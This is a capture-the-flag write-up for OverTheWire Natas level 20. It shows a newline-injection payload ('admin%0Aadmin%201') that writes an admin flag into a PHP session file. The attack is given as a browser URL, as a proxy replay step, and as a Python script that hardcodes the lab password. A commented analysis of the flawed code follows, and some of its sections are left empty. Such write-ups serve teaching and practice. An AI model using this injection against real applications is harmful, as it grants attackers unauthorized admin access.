ritheachengkh

🕸️Natas Level 20 → Level 21

http://natas20.natas.labs.overthewire.org

Username: natas20
Password: (natas20_password)

n20s1

While analyzing the source code, we came across the functions debug and print_credentials, which caught our attention.

n20s2 n20s3 n20s4 n20s5 n20s6

First, we type admin and click Change Name to test the functionality.

n20s7

Next, we append ?debug to the end of the URL and press Enter.

http://natas20.natas.labs.overthewire.org/index.php?debug

n20s8

We noticed a debug message showing MYREAD and MYWRITE, which caught our interest.

n20s9

If we enter admin and then refresh the page twice with ?debug appended to the URL. We noticed this:

DEBUG: Read [name admin]
DEBUG: Read []

n20s10

What if we were able to insert something malicious into the second Read []?

admin
admin 1
### URL encode
admin%0Aadmin%201

n20s11

🧰 Using Web Security Testing Tools

Click Change Name again to submit the request.

n20s12

Once the request is captured, send it to Replay.

n20s13

Next, we replace the name field with our payload. Then, click Send twice.

admin%0Aadmin%201

n20s14

After clicking Send a few times, the flag should appear.

n20s15

🌐 Using Web Browser

Copy our payload into the address bar and press Enter.

http://natas20.natas.labs.overthewire.org/index.php?name=admin%0Aadmin%201

n20s16

After refreshing the page twice or a few times, the flag should appear.

n20s17

🐍 Using Python Script

import requests
import re

# Credentials for natas20
username = "natas20"
password = "p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw"

# Target URL
url = "http://natas20.natas.labs.overthewire.org"
##url = "http://natas20.natas.labs.overthewire.org/index.php?debug"

# Start a session to persist cookies and headers across requests
session = requests.Session()

payload = "admin\nadmin 1"

response = session.post(
    url,
    data={"name": payload},
    auth=(username, password)
)

##print(response.text)
##print("*"*80)

response = session.post(
    url,
    data={"name": payload},
    auth=(username, password)
)

print(response.text)


Ensure the file has executable permissions, then run it.

n20s18

The flag should appear immediately.

n20s19

⚠️ Vulnerabilities in the PHP Code

When we attempt to debug the output, we see that our insertion into the code was successful.

DEBUG: Read [name admin]
DEBUG: Read [admin 1]

DEBUG: admin => 1
DEBUG: name => admin admin 1

n20s20


In function print_credentials()

if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)

What it does:

Checks whether the session contains ``$_SESSION[‘admin’] == 1`.

Security implication:

All the access control depends on one simple session variable (admin). If an attacker can tamper with the session file, they can set admin = 1 and get full access.


In function myread()

foreach(explode("\n", $data) as $line) {
    debug("Read [$line]");
    $parts = explode(" ", $line, 2);
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}

What it does:

Parses each line of input and stores the values in the session as $_SESSION[$key] = $value. Example input:

key value
name peter

Security implications:


In function mywrite()

foreach($_SESSION as $key => $value) {
    debug("$key => $value");
    $data .= "$key $value\n";
}

What it does:

Security implications:

Awesome! You can use this flag to access the next round.